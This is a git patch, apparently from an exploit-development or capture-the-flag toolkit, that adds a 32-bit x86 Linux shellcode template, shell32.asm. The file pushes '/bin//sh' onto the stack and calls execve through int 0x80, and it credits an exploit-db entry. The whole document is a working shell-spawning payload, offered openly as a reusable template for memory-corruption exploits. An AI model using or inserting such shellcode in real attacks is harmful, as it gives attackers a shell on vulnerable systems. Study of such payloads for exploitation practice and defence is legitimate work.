From e9cb4e14009a9ea3cbd08c2c4992d0e24b69e097 Mon Sep 17 00:00:00 2001 From: Malfurious Date: Sun, 22 Aug 2021 05:52:56 -0400 Subject: Add generic /bin/sh shellcode templates Signed-off-by: Malfurious --- templates/shellcode/shell32.asm | 14 ++++++++++++++ 1 file changed, 14 insertions(+) create mode 100644 templates/shellcode/shell32.asm (limited to 'templates/shellcode/shell32.asm') diff --git a/templates/shellcode/shell32.asm b/templates/shellcode/shell32.asm new file mode 100644 index 0000000..d12910f --- /dev/null +++ b/templates/shellcode/shell32.asm @@ -0,0 +1,14 @@ +[SECTION .text] +global _start + +; https://www.exploit-db.com/shellcodes/46809 + +_start: + xor ecx, ecx + push 0xb + pop eax + push ecx + push 0x68732f2f + push 0x6e69622f + mov ebx, esp + int 0x80 -- cgit v1.2.3